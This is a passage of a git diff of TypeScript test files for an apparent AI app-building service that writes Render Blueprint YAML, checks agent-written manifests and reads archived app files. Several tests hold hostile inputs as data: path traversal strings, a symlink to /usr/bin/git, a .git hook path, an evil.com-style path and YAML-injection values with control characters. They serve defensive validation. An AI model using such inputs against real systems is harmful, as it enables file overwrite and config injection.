multiServiceManifest })); - expect(names.services.get("api")).toBe("vibe-demo-furniture-catalog-api"); - expect(names.services.get("web")).toBe("vibe-demo-furniture-catalog-web"); - expect(names.services.get("Search Service")).toBe( - "vibe-demo-furniture-catalog-search-service", - ); - expect(names.databases.get("main-db")).toBe( - "vibe-demo-furniture-catalog-db", - ); - expect(names.databases.get("analytics")).toBe( - "vibe-demo-furniture-catalog-analytics", - ); - }); -}); - -/** - * A deploy repair must keep this list, because Render does not delete a - * resource that leaves the Blueprint and cannot change a service's runtime. - */ -describe("declaredResources", () => { - it("lists every service and database with its runtime", () => { - expect(declaredResources(spec())).toEqual([ - "vibe-demo-furniture-catalog-api (node)", - "vibe-demo-furniture-catalog-db (postgres)", - "vibe-demo-furniture-catalog-web (static)", - ]); - }); +function projectsOf(yaml: string): ParsedProject[] { + return parse(yaml).projects; +} - // Render changes these in place, so they do not make a new resource. - it("does not change when commands, paths, or env vars change", () => { - const changed: Manifest = { - ...fullManifest, - services: fullManifest.services.map((service) => ({ - ...service, - rootDir: `${service.rootDir}-v2`, - buildCommand: "npm ci && npm run build", - envVars: [], - })), - }; - expect(declaredResources(spec({ manifest: changed }))).toEqual( - declaredResources(spec()), - ); - }); +function onlyEnvironment(yaml: string) { + const [project] = projectsOf(yaml); + return project.environments[0]; +} - it("changes when a service keeps its name but changes its kind", () => { - const [api, web, search] = multiServiceManifest.services; - const asSite: Manifest = { - ...multiServiceManifest, - services: [ - api, - web, - { ...search, kind: "static_site", runtime: "static" }, - ], - }; - expect( - declaredResources(spec({ manifest: multiServiceManifest })), - ).toContain("vibe-demo-furniture-catalog-search-service (node)"); - expect(declaredResources(spec({ manifest: asSite }))).toContain( - "vibe-demo-furniture-catalog-search-service (static)", - ); - }); -}); +function serviceNamed(yaml: string, name: string): ParsedService { + const service = onlyEnvironment(yaml).services.find((s) => s.name === name); + if (!service) throw new Error(`No service ${name}`); + return service; +} describe("appBlueprint", () => { - const yaml = appBlueprint(spec()); - - it("puts the app in its own project with one environment", () => { - expect(yaml.match(/^projects:$/gm)).toHaveLength(1); - expect(yaml).toMatch(/^ {2}- name: vibe-demo-furniture-catalog$/m); - expect(yaml).toMatch(/^ {6}- name: production$/m); - expect(yaml).toMatch(/^ {8}services:$/m); - expect(yaml).not.toMatch(/^(services|databases):/m); - }); - - it("scopes both services to the app's directory", () => { - expect(yaml).toContain('rootDir: "apps/demo/furniture-catalog/api"'); - expect(yaml).toContain('rootDir: "apps/demo/furniture-catalog/web"'); - }); - - it("uses commands from the manifest", () => { - expect(yaml).toContain('buildCommand: "npm install && npm run build"'); - expect(yaml).toContain('startCommand: "npm start"'); - expect(yaml).toContain('healthCheckPath: "/health"'); + it("puts a static site, an API, and Postgres in one project, named from the spec's resourcePrefix", () => { + const yaml = appBlueprint(spec({ resourcePrefix: "acme" })); + const parsed = parse(yaml); + + expect(parsed.services).toBeUndefined(); + expect(parsed.databases).toBeUndefined(); + expect(parsed.projects).toHaveLength(1); + const [project] = projectsOf(yaml); + expect(project.name).toBe("acme-demo-shop"); + expect(project.environments).toHaveLength(1); + const [environment] = project.environments; + expect(environment.services.map((s) => s.name)).toEqual([ + "acme-demo-shop-api", + "acme-demo-shop-web", + ]); + expect(environment.databases?.map((db) => db.name)).toEqual([ + "acme-demo-shop-db", + ]); }); - it("declares the storefront as a static site", () => { - expect(yaml).toContain("runtime: static"); - expect(yaml).toContain('staticPublishPath: "./dist"'); - }); + // A static site is not on the private network, and a browser uses its + // values, so it gets the API's public hostname, never `host`. + it("wires DATABASE_URL from the database and the storefront's API host from the API's public hostname", () => { + const yaml = appBlueprint(spec()); - it("wires the database into the API and the API into the storefront", () => { - expect(yaml).toContain("fromDatabase:"); - expect(yaml).toContain('property: "connectionString"'); - expect(yaml).toContain('key: "VITE_API_HOST"'); + expect(serviceNamed(yaml, "vibe-demo-shop-api").envVars).toEqual([ + { + key: "DATABASE_URL", + fromDatabase: { + name: "vibe-demo-shop-db", + property: "connectionString", + }, + }, + ]); + expect(serviceNamed(yaml, "vibe-demo-shop-web").envVars).toEqual([ + { + key: "VITE_API_HOST", + fromService: { + name: "vibe-demo-shop-api", + type: "web", + envVarKey: "RENDER_EXTERNAL_HOSTNAME", + }, + }, + ]); }); - // `property: host` is a name on the private network. A static site is not - // on that network, and only a browser uses the value. - it("gives the storefront the public hostname of the API", () => { - expect(yaml).toContain( - [ - ' - key: "VITE_API_HOST"', - " fromService:", - " name: vibe-demo-furniture-catalog-api", - " type: web", - ' envVarKey: "RENDER_EXTERNAL_HOSTNAME"', - ].join("\n"), - ); - expect(yaml).not.toContain('property: "host"'); - }); + it("builds each service from its own directory, and gives a static site no plan or region", () => { + const yaml = appBlueprint(spec()); + const apiService = serviceNamed(yaml, "vibe-demo-shop-api"); + const webService = serviceNamed(yaml, "vibe-demo-shop-web"); - it("keeps a property reference for wiring on the private network", () => { - const search: Manifest["services"][number] = { - name: "search", - kind: "web_service", - rootDir: "search", + expect(apiService).toMatchObject({ runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - envVars: [ - { - key: "API_HOSTPORT", - fromService: { name: "api", property: "hostport" }, - }, - ], - }; - const wired = appBlueprint( + plan: factoryConfig.render.servicePlan, + region: factoryConfig.render.region, + rootDir: "apps/demo/shop/api", + buildFilter: { paths: ["apps/demo/shop/api/**"] }, + }); + expect(webService).toMatchObject({ + runtime: "static", + rootDir: "apps/demo/shop/web", + buildFilter: { paths: ["apps/demo/shop/web/**"] }, + }); + expect(webService.plan).toBeUndefined(); + expect(webService.region).toBeUndefined(); + expect(onlyEnvironment(yaml).databases?.[0]).toMatchObject({ + plan: factoryConfig.render.databasePlan, + region: factoryConfig.render.region, + }); + }); + + // Two resources that collapse onto one name overwrite each other in the + // Blueprint instead of failing. + it("gives two services of the same kind distinct names", () => { + const yaml = appBlueprint( spec({ manifest: { - ...fullManifest, - services: [...fullManifest.services, search], + services: [ + api, + { ...api, name: "API", rootDir: "api-v2" }, + web, + { ...web, name: "Web", rootDir: "admin" }, + ], + databases: [{ name: "main-db" }, { name: "main db" }], }, }), ); - expect(wired).toContain( - [ - ' - key: "API_HOSTPORT"', - " fromService:", - " name: vibe-demo-furniture-catalog-api", - " type: web", - ' property: "hostport"', - ].join("\n"), - ); - }); - - it("declares the database in the app's environment", () => { - expect(yaml).toMatch(/^ {8}databases:$/m); - expect(yaml).toContain("name: vibe-demo-furniture-catalog-db"); - }); - - // Without this the schema is never applied and the app deploys against an - // empty database, which no other check would notice. - it("emits the pre-deploy command that creates the schema", () => { - expect(yaml).toContain('preDeployCommand: "npm run migrate"'); - expect(yaml.indexOf("preDeployCommand:")).toBeLessThan( - yaml.indexOf("startCommand:"), - ); - }); - - it("emits one block per service and per database", () => { - const multi = appBlueprint(spec({ manifest: multiServiceManifest })); - expect(multi).toContain("name: vibe-demo-furniture-catalog-search-service"); - expect(multi).toContain("name: vibe-demo-furniture-catalog-analytics"); - expect(multi.match(/^ {10}- type: web$/gm)).toHaveLength(3); - }); + const environment = onlyEnvironment(yaml); + const names = [ + ...environment.services.map((s) => s.name), + ...(environment.databases ?? []).map((db) => db.name), + ]; - it("emits only a static site when that is all the app needs", () => { - const simple = appBlueprint(spec({ manifest: staticOnlyManifest })); - expect(simple).not.toContain("databases:"); - expect(simple).not.toContain("runtime: node"); - expect(simple).toContain("runtime: static"); - }); - - // A comment stops at a line break. YAML 1.1 parsers also read NEL as a line - // break, and they do not accept control characters. - it("keeps the prompt comment on one line", () => { - const text = appBlueprint( - spec({ prompt: "Sell\u{7}\u{7f} chairs\u{85}services: []" }), - ); - expect(text.split("\n")[1]).toBe("# Prompt: Sell chairs services: []"); + expect(names).toHaveLength(6); + expect(new Set(names).size).toBe(6); + for (const name of names) expect(name).toMatch(/^vibe-demo-shop-/); }); }); describe("rootBlueprint", () => { - it("is valid with no apps yet, so the Blueprint can be created first", () => { - expect(rootBlueprint([])).toContain("services: []"); - }); - - const twoApps = rootBlueprint([ - spec(), - spec({ - user: "demo", - appName: "gopher-dates", - manifest: staticOnlyManifest, - }), - ]); - - it("holds every app, each in its own project", () => { - expect(twoApps.match(/^projects:$/gm)).toHaveLength(1); - expect(twoApps.match(/^ {2}- name: /gm)).toHaveLength(2); - expect(twoApps).toMatch(/^ {2}- name: vibe-demo-furniture-catalog$/m); - expect(twoApps).toMatch(/^ {2}- name: vibe-demo-gopher-dates$/m); - expect(twoApps).toContain("vibe-demo-furniture-catalog-web"); - expect(twoApps).toContain("vibe-demo-gopher-dates-web"); - expect(twoApps).not.toMatch(/^(services|databases):/m); - }); - - // A database declared under another app's project would move it there. - it("keeps each database in its own app's project", () => { - expect(twoApps.match(/^ {8}databases:$/gm)).toHaveLength(1); - const database = twoApps.indexOf("name: vibe-demo-furniture-catalog-db"); - expect(database).toBeGreaterThan( - twoApps.indexOf("- name: vibe-demo-furniture-catalog\n"), - ); - expect(database).toBeLessThan( - twoApps.indexOf("- name: vibe-demo-gopher-dates\n"), - ); - }); + it("holds every app in its own project, sorted, and leaves out an app being deleted", () => { + const yaml = rootBlueprint([ + spec({ user: "bob", appName: "bakery" }), + spec({ user: "carol", appName: "cafe", deletedAt: "2026-02-01" }), + spec({ user: "alice", appName: "atelier" }), + ]); + const projects = projectsOf(yaml); - // A sync recreates a declared resource that is missing, so the resources of - // an app must leave the Blueprint before the delete removes them. - it("leaves out an app that is being deleted", () => { + expect(projects.map((project) => project.name)).toEqual([ + "vibe-alice-atelier", + "vibe-bob-bakery", + ]); + // A database declared under another app's project would move it there. + for (const project of projects) { + const [environment] = project.environments; + for (const resource of [ + ...environment.services, + ...(environment.databases ?? []), + ]) { + expect(resource.name.startsWith(`${project.name}-`)).toBe(true); + } + } + }); + + it("is a valid Blueprint with no apps, including when the last app is being deleted", () => { + for (const specs of [[], [spec({ deletedAt: "2026-02-01" })]]) { + const parsed = parse(rootBlueprint(specs)); + expect(parsed.services).toEqual([]); + expect(parsed.projects).toBeUndefined(); + } + }); + + // One value that breaks the YAML stops the deploy of every app in the root + // Blueprint. YAML 1.1 parsers (go-yaml) read NEL and U+2028 as line breaks + // and refuse raw DEL and C1 controls, so those must reach the file escaped. + it("round-trips hostile free-form values exactly", () => { + const hostile = { + buildCommand: 'npm ci && echo "build: done"', + startCommand: "node server.js # Render sets PORT", + preDeployCommand: "true", + healthCheckPath: "/health\u{7}\u{7f}\u{85}--- \u{2028}... \u{2029}x", + }; const yaml = rootBlueprint([ - spec(), spec({ - appName: "gopher-dates", - manifest: staticOnlyManifest, - deletedAt: "2026-02-01T00:00:00.000Z", + prompt: "Sell chairs\u{85}services: []\n# nope", + manifest: { ...fullManifest, services: [{ ...api, ...hostile }, web] }, }), ]); - expect(yaml).toContain("# Apps: 1"); - expect(yaml).toMatch(/^ {2}- name: vibe-demo-furniture-catalog$/m); - expect(yaml).not.toContain("gopher-dates"); - }); - it("is valid when the last app is being deleted", () => { - const yaml = rootBlueprint([ - spec({ deletedAt: "2026-02-01T00:00:00.000Z" }), - ]); - expect(yaml).toContain("services: []"); - expect(yaml).not.toContain("furniture-catalog"); + expect(yaml).not.toMatch(/[\u{7f}-\u{9f}\u{2028}\u{2029}]/u); + expect(projectsOf(yaml)).toHaveLength(1); + expect(serviceNamed(yaml, "vibe-demo-shop-api")).toMatchObject(hostile); }); +}); - it("orders apps deterministically so a rerun does not churn the file", () => { - const a = spec({ user: "alice", appName: "aaa" }); - const b = spec({ user: "bob", appName: "bbb" }); - expect(rootBlueprint([a, b])).toBe(rootBlueprint([b, a])); +describe("joinServiceDir", () => { + // The manifest is agent-authored. The Blueprint and verify-app both join + // with this, so they agree on each directory. + it("tolerates '.', './x', and a rootDir that repeats the app path", () => { + const app = "apps/demo/shop"; + expect(joinServiceDir(app, ".")).toBe(app); + expect(joinServiceDir(app, "./")).toBe(app); + expect(joinServiceDir(app, "./web/")).toBe(`${app}/web`); + expect(joinServiceDir(app, app)).toBe(app); + expect(joinServiceDir(app, "shop")).toBe(app); }); }); -// The builder writes the manifest values, and one value that breaks the YAML -// stops the deploy of every app in the root Blueprint. -describe("manifest values", () => { - // Without quotes, the first command stops the parse, the second loses the - // text after `#`, and the third becomes a boolean. - it("keeps commands that contain YAML syntax exactly as written", () => { - const [api, web] = parsedServices( - rootBlueprint([ - withServices( - { - buildCommand: 'npm ci && echo "build: done"', - startCommand: "node server.js # Render sets PORT", - }, - { buildCommand: "true" }, - ), - ]), - ); - expect(api.buildCommand).toBe('npm ci && echo "build: done"'); - expect(api.startCommand).toBe("node server.js # Render sets PORT"); - expect(web.buildCommand).toBe("true"); - }); +/** + * A deploy repair must keep this list: Render does not delete a resource that + * leaves the Blueprint, and it cannot change a service's runtime. + */ +describe("declaredResources", () => { + it("lists the resources a repair must keep, whatever the repair changes in place", () => { + const repaired = spec({ + manifest: { + ...fullManifest, + services: fullManifest.services.map((service) => ({ + ...service, + rootDir: `${service.rootDir}-v2`, + buildCommand: "npm ci && npm run build", + envVars: [], + })), + }, + }); - // JSON keeps these characters raw and gives a lone surrogate a `\udXXX` - // escape. go-yaml stops the parse of the full file at each of them. The - // parser in this test accepts them all, so the test also checks the text. - it("escapes the characters that YAML 1.1 parsers do not accept", () => { - const raw = - "\u{7f}\u{80}\u{9f} \u{85}--- \u{2028}--- \u{2029}... \u{fffe}\u{ffff}"; - const yaml = rootBlueprint([ - withServices({ - buildCommand: `echo ${raw}${String.fromCharCode(0xd800)}`, - }), + expect(declaredResources(spec())).toEqual([ + "vibe-demo-shop-api (node)", + "vibe-demo-shop-db (postgres)", + "vibe-demo-shop-web (static)", ]); - expect(yaml).not.toMatch( - /[\u{7f}-\u{9f}\u{2028}\u{2029}\u{fffe}\u{ffff}]|\\ud[89a-f]/iu, - ); - expect(parsedServices(yaml)[0].buildCommand).toBe(`echo ${raw}\u{fffd}`); + expect(declaredResources(repaired)).toEqual(declaredResources(spec())); }); }); diff --git a/tests/contracts.test.ts b/tests/contracts.test.ts index 4d687c4..600270b 100644 --- a/tests/contracts.test.ts +++ b/tests/contracts.test.ts @@ -1,13 +1,10 @@ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { agentJson } from "../app/claude.js"; import { - appSpecSchema, - buildOutputSchema, - createAppRequestSchema, - deleteAppInputSchema, + deployDiagnosisSchema, deployPlanSchema, manifestSchema, - workflowInputSchema, + slug, } from "../app/contracts.js"; const plan = { @@ -25,8 +22,8 @@ const plan = { }; /** - * The SDK checks the output of an agent against its JSON Schema. Zod checks - * it again, because a JSON Schema cannot hold each Zod rule. + * The SDK checks agent output against its JSON Schema. Zod checks it again, + * because a JSON Schema cannot hold each Zod rule, and fails closed. */ describe("agentJson", () => { beforeEach(() => { @@ -37,182 +34,112 @@ describe("agentJson", () => { vi.restoreAllMocks(); }); - it("returns the output when it matches the schema", async () => { - const call = vi.fn(async () => plan); - - const result = await agentJson(call, deployPlanSchema, "Design it.", "architect"); - - expect(result.appName).toBe("furniture-catalog"); - expect(call).toHaveBeenCalledTimes(1); - }); + it("returns a valid answer, and retries an invalid one once with the validation error", async () => { + expect( + await agentJson( + async () => plan, + deployPlanSchema, + "Design it.", + "architect", + ), + ).toMatchObject({ appName: "furniture-catalog" }); - it("gives the Zod error back to the agent one time", async () => { const call = vi .fn() .mockResolvedValueOnce({ ...plan, tiers: [] }) .mockResolvedValueOnce(plan); - await expect( agentJson(call, deployPlanSchema, "Design it.", "architect"), ).resolves.toMatchObject({ appName: "furniture-catalog" }); expect(call).toHaveBeenCalledTimes(2); - expect(call.mock.calls[1][0]).toMatch(/^Design it\.\n/); - expect(call.mock.calls[1][0]).toContain("at tiers"); + expect(call.mock.calls[1][0]).toContain("Design it."); + expect(call.mock.calls[1][0]).toContain("tiers"); }); - // The text of an agent without a schema is not an object, so it cannot match. - it("stops after a second output that does not match", async () => { + it("throws after a second invalid answer", async () => { const call = vi.fn(async () => "I could not decide."); await expect( agentJson(call, deployPlanSchema, "Design it.", "architect"), - ).rejects.toThrow("architect returned invalid structured output twice"); + ).rejects.toThrow("invalid structured output"); expect(call).toHaveBeenCalledTimes(2); }); }); -describe("createAppRequestSchema", () => { - it("defaults the user namespace", () => { - const parsed = createAppRequestSchema.parse({ - prompt: "Create an online catalog to sell handcrafted furniture", - }); - expect(parsed.user).toBe("demo"); - }); - - it("rejects a prompt that is too short or too long", () => { - expect(createAppRequestSchema.safeParse({ prompt: "hi" }).success).toBe(false); - expect( - createAppRequestSchema.safeParse({ prompt: "x".repeat(2001) }).success, - ).toBe(false); - }); - - // The user becomes a directory name and part of a Render resource name. - it("rejects a user that is not a slug", () => { - for (const user of ["../etc", "Demo User", "a", "x".repeat(40)]) { - expect( - createAppRequestSchema.safeParse({ prompt: "a valid prompt", user }) - .success, - ).toBe(false); +describe("slug", () => { + // A user or app name becomes a path in the apps repository and part of a + // Render resource name. + it("rejects names that are unsafe in a path or a resource name", () => { + for (const name of ["demo", "furniture-catalog", "shop2"]) { + expect(slug.safeParse(name).success).toBe(true); + } + for (const name of [ + "../etc", + "Demo User", + "apps/demo", + "-shop", + "ab", + "x".repeat(40), + ]) { + expect(slug.safeParse(name).success).toBe(false); } }); }); -describe("deployPlanSchema", () => { - it("rejects an appName that is not a slug", () => { - for (const appName of ["Furniture Catalog", "../escape", "no"]) { - expect(deployPlanSchema.safeParse({ ...plan, appName }).success).toBe( - false, - ); - } - }); +describe("manifestSchema", () => { + const service = { + name: "web", + kind: "static_site", + rootDir: "web", + buildCommand: "npm run build", + }; - it("rejects a tier it does not recognize", () => { - expect( - deployPlanSchema.safeParse({ - ...plan, - tiers: [{ kind: "kubernetes", reason: "no" }], - }).success, - ).toBe(false); - }); -}); + it("accepts only plain relative service paths and absolute endpoint paths", () => { + const accepts = (overrides: Record) => + manifestSchema.safeParse({ + services: [{ ...service, ...overrides }], + }).success; -describe("workflowInputSchema", () => { - it("requires a prompt, a user, and a run id", () => { expect( - workflowInputSchema.safeParse({ prompt: "a valid prompt", runId: "r" }) - .success, - ).toBe(false); - expect( - workflowInputSchema.safeParse({ - prompt: "a valid prompt", - user: "demo", - runId: "r", - }).success, + accepts({ + rootDir: ".", + staticPublishPath: "dist/client", + healthCheckPath: "/health", + dataCheckPath: "/api/products.json", + }), ).toBe(true); - }); -}); - -const validManifest = { - services: [ - { - name: "web", - kind: "static_site", - rootDir: "web", - runtime: "static", - buildCommand: "npm install && npm run build", - staticPublishPath: "./dist", - }, - ], -}; - -describe("manifestSchema", () => { - it("accepts a minimal static site manifest", () => { - expect(manifestSchema.safeParse(validManifest).success).toBe(true); - }); - - it("accepts a full-stack manifest with databases", () => { - const manifest = { - services: [ - { - name: "api", - kind: "web_service", - rootDir: "api", - runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - healthCheckPath: "/health", - envVars: [ - { - key: "DATABASE_URL", - fromDatabase: { property: "connectionString" }, - }, - ], - }, - ...validManifest.services, - ], - databases: [{ name: "main-db" }], - }; - expect(manifestSchema.safeParse(manifest).success).toBe(true); - }); - it("carries the database lifecycle a full-stack app needs", () => { - const parsed = manifestSchema.parse({ - services: [ - { - name: "api", - kind: "web_service", - rootDir: "api", - runtime: "node", - buildCommand: "npm install", - startCommand: "npm start", - preDeployCommand: "npm run migrate && npm run seed", - healthCheckPath: "/health", - dataCheckPath: "/api/products", - envVars: [ - { - key: "DATABASE_URL", - fromDatabase: { property: "connectionString", name: "main-db" }, - }, - ], - }, - ], - databases: [{ name: "main-db" }], - }); - expect(parsed.services[0].preDeployCommand).toBe( - "npm run migrate && npm run seed", - ); - expect(parsed.services[0].dataCheckPath).toBe("/api/products"); - expect(parsed.services[0].envVars?.[0].fromDatabase?.name).toBe("main-db"); + for (const rootDir of [ + "/web", + "../web", + "web/../../other", + "web//src", + "web\n", + ]) { + expect(accepts({ rootDir }), rootDir).toBe(false); + } + for (const path of [ + ".evil.com/x", + "health", + "/health?full=true", + "/health\n", + ]) { + expect(accepts({ healthCheckPath: path }), path).toBe(false); + expect(accepts({ dataCheckPath: path }), path).toBe(false); + } + for (const staticPublishPath of ["/dist", "../dist", "dist/../../other"]) { + expect(accepts({ staticPublishPath }), staticPublishPath).toBe(false); + } }); - // Render takes one or the other. With neither, the Blueprint would get - // `property: undefined`. + // Render takes one or the other. With neither, the Blueprint would get an + // empty property. it("requires exactly one of property and envVarKey on fromService", () => { const accepts = (fromService: Record) => manifestSchema.safeParse({ services: [ { - ...validManifest.services[0], + ...service, envVars: [{ key: "VITE_API_HOST", fromService }], }, ], @@ -231,76 +158,20 @@ describe("manifestSchema", () => { }), ).toBe(false); }); - - it("rejects an empty services array", () => { - expect(manifestSchema.safeParse({ services: [] }).success).toBe(false); - }); - - it("rejects an unknown service kind", () => { - expect( - manifestSchema.safeParse({ - services: [{ ...validManifest.services[0], kind: "lambda" }], - }).success, - ).toBe(false); - }); }); -describe("deleteAppInputSchema", () => { - it("names an app with two slugs, because they become a path in the repository", () => { - expect( - deleteAppInputSchema.safeParse({ user: "demo", appName: "shop" }).success, - ).toBe(true); +/** + * The deploy manager runs only after Render reported a failed deploy. An + * "allHealthy" answer once sent such a run to the smoke checks, which can + * pass against the last live deploy. + */ +describe("deployDiagnosisSchema", () => { + it("is only a list of failures, with no way to declare the services healthy", () => { expect( - deleteAppInputSchema.safeParse({ user: "demo", appName: "../shop" }) - .success, - ).toBe(false); - expect(deleteAppInputSchema.safeParse({ user: "demo" }).success).toBe( + deployDiagnosisSchema.parse({ allHealthy: true, failures: [] }), + ).toEqual({ failures: [] }); + expect(deployDiagnosisSchema.safeParse({ allHealthy: true }).success).toBe( false, ); }); }); - -describe("appSpecSchema", () => { - const spec = { - user: "demo", - appName: "furniture-catalog", - prompt: "Create an online catalog to sell handcrafted furniture", - summary: "A catalog.", - createdAt: "2026-01-01T00:00:00.000Z", - resourcePrefix: "vibe", - manifest: validManifest, - }; - - it("keeps deletedAt, which takes an app out of the root Blueprint", () => { - const deleting = { ...spec, deletedAt: "2026-02-01T00:00:00.000Z" }; - expect(appSpecSchema.parse(deleting).deletedAt).toBe(deleting.deletedAt); - }); - - it("round-trips the spec committed beside a generated app", () => { - expect(appSpecSchema.parse(JSON.parse(JSON.stringify(spec)))).toEqual(spec); - }); - - // The resource names come from the prefix in the spec, never from a default. - it("requires resourcePrefix", () => { - const { resourcePrefix: _, ...unprefixed } = spec; - expect(appSpecSchema.safeParse(unprefixed).success).toBe(false); - }); - - // Earlier specs in the apps repository also hold tiers and notes. - it("reads a spec with fields that the factory no longer writes", () => { - expect( - appSpecSchema.parse({ ...spec, tiers: ["static_site"], notes: [] }), - ).toEqual(spec); - }); -}); - -describe("buildOutputSchema", () => { - it("keeps the user-facing build summary concise", () => { - expect( - buildOutputSchema.safeParse({ - summary: "x".repeat(241), - manifest: validManifest, - }).success, - ).toBe(false); - }); -}); diff --git a/tests/files.test.ts b/tests/files.test.ts new file mode 100644 index 0000000..abb4c69 --- /dev/null +++ b/tests/files.test.ts @@ -0,0 +1,197 @@ +import { execSync } from "node:child_process"; +import { + chmodSync, + mkdirSync, + mkdtempSync, + readFileSync, + realpathSync, + rmSync, + statSync, + writeFileSync, +} from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; +import { gzipSync } from "node:zlib"; +import { Header, type HeaderData } from "tar"; +import { afterEach, describe, expect, it } from "vitest"; +import { + appFiles, + MAX_APP_BYTES, + readAppFiles, + writeAppFiles, +} from "../app/files.js"; +import type { ExecResult, Sandbox } from "../app/sandbox.js"; + +/** + * A tar archive with any entries. The builder controls its sandbox, so it can + * put any archive where readAppFiles() downloads one. + */ +function tarOf( + entries: { path: string; type?: HeaderData["type"]; linkpath?: string }[], +): Buffer { + const blocks: Buffer[] = []; + for (const entry of entries) { + const data = Buffer.from(entry.type ? "" : "x"); + const header = Buffer.alloc(512); + new Header({ + path: entry.path, + type: entry.type ?? "File", + mode: 0o644, + size: data.length, + mtime: new Date(0), + linkpath: entry.linkpath, + }).encode(header, 0); + blocks.push(header, data, Buffer.alloc((512 - (data.length % 512)) % 512)); + } + return Buffer.concat([...blocks, Buffer.alloc(1024)]); +} + +describe("the files of an app", () => { + const temporary: string[] = []; + + afterEach(() => { + for (const dir of temporary.splice(0)) { + rmSync(dir, { recursive: true, force: true }); + } + }); + + /** + * A new repository and a sandbox that runs each command in it on this + * machine. A git hook that runs the tests sets GIT_DIR, which would send + * these commands to the outer repository. + */ + function repository() { + const root = realpathSync(mkdtempSync(join(tmpdir(), "files-test-"))); + temporary.push(root); + const env = { + ...Object.fromEntries( + Object.entries(process.env).filter(([key]) => !key.startsWith("GIT_")), + ), + HOME: root, + XDG_CONFIG_HOME: root, + GIT_CONFIG_NOSYSTEM: "1", + // The tar of macOS adds a ._ file for the metadata of each file. + COPYFILE_DISABLE: "1", + }; + const run = async (command: string): Promise => { + try { + return { + output: execSync(command, { + cwd: root, + env, + encoding: "utf8", + stdio: "pipe", + }), + exitCode: 0, + }; + } catch (error) { + const failed = error as { + status?: number; + stdout?: string; + stderr?: string; + }; + return { + output: `${failed.stdout ?? ""}${failed.stderr ?? ""}`, + exitCode: failed.status ?? 1, + }; + } + }; + const sandbox = { + run, + async mustRun(command: string, label: string): Promise { + const result = await run(command); + if (result.exitCode !== 0) { + throw new Error(`${label} failed: ${result.output}`); + } + return result.output; + }, + download: async (path: string) => readFileSync(path), + upload: async (path: string, data: string | Buffer) => + writeFileSync(path, data), + } as unknown as Sandbox; + execSync("git init -q", { cwd: root, env }); + return { root, sandbox }; + } + + function write(dir: string, files: Record): void { + for (const [path, contents] of Object.entries(files)) { + mkdirSync(dirname(join(dir, path)), { recursive: true }); + writeFileSync(join(dir, path), contents); + } + } + + it("reads the files a commit would hold and writes them into another clone unchanged", async () => { + // Every byte value, as a photograph can hold them. + const photo = Buffer.from([...Array(256).keys()]); + const build = repository(); + const app = join(build.root, "apps/demo/shop"); + write(app, { + ".gitignore": "node_modules/\n", + "index.html": "

Shop

", + "assets/chair.jpg": photo, + "bin/build.sh": "#!/bin/sh\necho built\n", + "node_modules/vite/index.js": "js", + }); + chmodSync(join(app, "bin/build.sh"), 0o755); + + const read = await readAppFiles(build.sandbox, app); + if ("error" in read) throw new Error(read.error); + expect(read.files.map(({ path }) => path).sort()).toEqual([ + ".gitignore", + "assets/chair.jpg", + "bin/build.sh", + "index.html", + ]); + + const target = repository(); + const copy = join(target.root, "apps/demo/shop"); + write(copy, { "stale.html": "from an earlier run" }); + await writeAppFiles(target.sandbox, copy, read.files); + + expect(readFileSync(join(copy, "assets/chair.jpg"))).toEqual(photo); + expect(statSync(join(copy, "bin/build.sh")).mode & 0o100).toBe(0o100); + expect(statSync(join(copy, "index.html")).mode & 0o100).toBe(0); + expect(() => statSync(join(copy, "stale.html"))).toThrow(); + }); + + it("refuses a symbolic link, a nested Git repository, and a path outside the app directory", async () => { + const refused = async (entry: Parameters[0][number]) => { + const result = await appFiles(tarOf([{ path: "index.html" }, entry])); + return "error" in result ? result.error : null; + }; + + expect( + await refused({ + path: "home.html", + type: "SymbolicLink", + linkpath: "/usr/bin/git", + }), + ).toContain("symbolic link"); + // git ls-files gives a nested repository as one directory. + expect(await refused({ path: "web/", type: "Directory" })).toContain( + "Git repository", + ); + expect(await refused({ path: ".git/hooks/post-checkout" })).toContain( + ".git", + ); + expect(await refused({ path: "../victim/site/index.html" })).toContain( + "not a plain path", + ); + expect(await refused({ path: "/etc/cron.d/job" })).toContain( + "not a plain path", + ); + }); + + it("refuses an app over the size limit", async () => { + await expect(appFiles(Buffer.alloc(MAX_APP_BYTES + 1))).resolves.toEqual({ + error: expect.stringContaining("the limit is 50 MB"), + }); + }); + + // A compressed archive can expand in memory to much more than the limit. + it("refuses a compressed archive", async () => { + await expect( + appFiles(gzipSync(tarOf([{ path: "index.html" }]))), + ).resolves.toEqual({ error: expect.stringContaining("compressed") }); + }); +}); diff --git a/tests/gateway.test.ts b/tests/gateway.test.ts index 958b39a..d21c3eb 100644 --- a/tests/gateway.test.ts +++ b/tests/gateway.test.ts @@ -1,4 +1,8 @@ -import { beforeEach, describe, expect, it, vi } from "vitest"; +/** + * The gateway through its HTTP API. Postgres (the store module) and Render + * Workflows (the SDK) are the boundaries, and both are fakes. + */ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; const mocks = vi.hoisted(() => ({ claimDelete: vi.fn(), @@ -45,36 +49,75 @@ vi.mock("@renderinc/sdk", () => ({ })); const { createGateway } = await import("../app/gateway.js"); +const { RUN_STAGES } = + await vi.importActual("../app/store.js"); const KEY = "0123456789abcdef0123456789abcdef"; const PROMPT = "Create an online catalog to sell handcrafted furniture"; const RUN_ID = "6f9619ff-8b86-d011-b42d-00cf4fc964ff"; const UI_AUTH = `Basic ${Buffer.from("demo:a-long-demo-password").toString("base64")}`; +const BEARER = `Bearer ${KEY}`; -function post(body: unknown, opts: { key?: string | null } = {}) { - const headers: Record = { "content-type": "application/json" }; - if (opts.key !== null) headers.authorization = `Bearer ${opts.key ?? KEY}`; - - return createGateway().request("/v1/apps", { - method: "POST", +function request( + path: string, + init: { method?: string; authorization?: string; body?: unknown } = {}, +) { + const headers: Record = {}; + if (init.authorization) headers.authorization = init.authorization; + if (init.body !== undefined) headers["content-type"] = "application/json"; + return createGateway().request(path, { + method: init.method ?? "GET", headers, - body: typeof body === "string" ? body : JSON.stringify(body), + body: + init.body === undefined || typeof init.body === "string" + ? init.body + : JSON.stringify(init.body), }); } +const post = (body: unknown, authorization = BEARER) => + request("/v1/apps", { method: "POST", authorization, body }); + +/** A stored run of the furniture catalog, with some fields replaced. */ +function storedRun(overrides: Record = {}) { + return { + id: RUN_ID, + idempotencyKey: "k", + prompt: PROMPT, + user: "demo", + status: "deployed", + stage: "done", + progress: null, + 